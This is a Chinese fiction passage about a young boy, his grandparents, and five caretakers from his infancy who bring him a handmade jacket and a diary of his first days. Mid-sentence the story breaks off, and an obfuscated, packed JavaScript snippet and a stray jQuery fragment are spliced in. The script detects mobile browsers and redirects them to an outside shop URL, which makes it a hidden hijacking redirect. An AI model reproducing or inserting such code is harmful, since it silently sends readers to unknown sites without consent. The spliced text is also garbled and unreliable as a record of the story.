苍真正在数祖母外套上的扣子时，门铃响了。
祖母有件蓝色开衫，上面缝了七颗木扣子，每一颗纹路都不一样。苍真盘腿坐在沙发上，小鸡搁在膝盖上，一颗一颗摸过去，给它们起名字：这颗像核桃的叫大河，那颗有裂痕的叫小花，最圆的那颗叫鹿岛。
苍真谨记祖父祖母的话，不会擅自给陌生人开门，但这门铃一直响个不停。
苍真便从沙发上滑下来，跑到玄关。他够不着门把手，就趴在猫眼上看。
门外站着上次那群穿灰色衣服的人。最前面的人抱着一个大纸袋，纸袋上有只歪歪扭扭的兔子，用蜡笔画的，耳朵一边长一边短。
苍真回头喊：“祖母！有客人！”
祖母从厨房出来，手在围裙上擦了擦。她看了一眼猫眼，然后蹲下来，对苍真说：“苍真去开门，好不好？”
“好。”
苍真踮起脚，拧开门锁。门开了一条缝，风先灌进来，带着外面青草的味道。
“你们好。”苍真说，“我是苍真。”
门外的人愣了一下。
“你好。”其中一个说，他的声音很哑，“我们……我们来送东西。”
“什么东西？”
“这个。”他把纸袋往苍真怀里塞。纸袋很大，苍真抱不住，祖母在后面扶了一把。
纸袋里面是一件衣服。叠得整整齐齐，浅黄色的，领子上绣着一只小鸡——跟苍真书包上那只一模一样，针脚歪歪扭扭，但绣得很密，像绣的人很怕它散掉。
苍真把衣服举起来，对着光看。小鸡的肚子上绣了一个字，很小，是真。
“这是给我的吗？”
“是。”蹲着的人说，“很久以前……就准备了的。”
祖父从里屋走出来，手里还拿着报纸。他看见门口的人，脚步顿了一下，但没有皱眉，只是点了点头。
“进来吧。”他说，“门口风大。”
灰衣服的人互相看了看，像一群被邀请进陌生花园的鸟，小心翼翼地迈进来。他们一共五个人，进了客厅，站成半圈，不敢坐沙发，只敢站在地毯边缘。
祖母去厨房拿杯子。苍真抱着衣服，跑到祖父身边，拽了拽他的袖子。
“祖父，他们是谁？”
“是……”祖父想了想，“是很久以前抱过你的人。”
“像照片上人那样？”
“不一样。”祖父蹲下来，把苍真抱上沙发，让他坐在自己腿上，“照片上人把你交给祖父。他们……是帮照片上人照顾你的人。”
苍真歪着头想了想。他看向那五个站着的人，最前面的那个正盯着他看，眼睛一眨不眨，像怕苍真突然消失。
“你们坐呀。”苍真拍了拍沙发，“沙发很大。”
没有人动。最后面那个年纪大一点的人，他头发白了背还有点驼，声音很小：“我们站着就行。站惯了。”
“站着不累吗？”
“不累。”
“可是，”苍真从祖父腿上滑下来，跑到厨房，拖出一张小椅子，那是他吃饭用的椅子，塑料的上面贴着恐龙贴纸然后拖到客厅中央，“坐这个。我的椅子。”
白头发的人看着那把小小的椅子，又看看苍真。他的眼圈红了，但没有哭，只是很慢很慢地坐下去。小椅子对他来说太小了，他坐得很别扭，膝盖顶在胸口，像只蜷起来的虾。
嘴角微微翘起。
其他人看见他坐了，也陆续找地方坐下。有的坐地毯上，有的坐门槛上，有的直接盘腿坐在玄关。最前面抱纸袋的那个人，苍真把沙发上的小鸡玩偶递给他。
“给你抱。”
那个人接过小鸡，手在抖。他把小鸡按在胸口，像按一颗心脏。
祖母端了茶出来，还有一碟饼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747035|209323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
干是昨天剩下的，有些碎了，但还能吃。她把碟子放在茶几上，对苍真说：“给客人倒茶。”
苍真拿起茶壶。茶壶是陶瓷的，很重，他双手抱着，摇摇晃晃给每个人倒。水洒了一点在地毯上，像一朵小花。
“对不起，”苍真说，“我手小。”
“没关系。”抱小鸡的人说，“你这么小就会端茶很厉害。”
他端起杯子，喝了一口，然后愣住。他低头看着杯里的茶，像在看什么珍贵的东西。
苍真爬到沙发上，把纸袋里的衣服完全拿出来。衣服下面还有一个笔记本，封面磨毛了，角卷起来。苍真翻开第一页，上面贴着一张照片，是婴儿时期的他，躺在保温箱里，手上贴着胶布，眼睛闭着，但嘴角翘着，像在笑。
照片下面写着一行字，苍真不认识。他举着笔记本给祖父看。
“祖父，这是什么字？”
祖父接过来，看了一眼，声音变得很轻：“写的是……今天苍真笑的很开心。”
苍真眨眨眼。“谁写的？”
抱小鸡的人抬起头。“我们写的。那时候……你很小，不能抱出来，我们就隔着玻璃看。你笑了，我们就记。你哭了，我们也记。你翻身了，第一次抓手，第一次睁眼……都记。”
他顿了顿，把苍真递过来的小鸡抱得更紧。
“你第一次抓的，就是这个。小鸡。那时候它还新，毛很软。你现在抓旧了。”
苍真低头看着自己的小鸡。确实，翅膀上的毛有点秃了，眼睛掉了一颗，是祖母后来缝上去的，缝得有点歪，像戴了单边眼镜。
“它旧了，”苍真说，“但是还软。”
“嗯。”那个人把脸埋进小鸡里，深深吸了一口。
客厅里安静了很久。白头发的人从口袋里掏出一样东西，递给苍真。是一颗糖，包装纸是银色的，像一颗小月亮。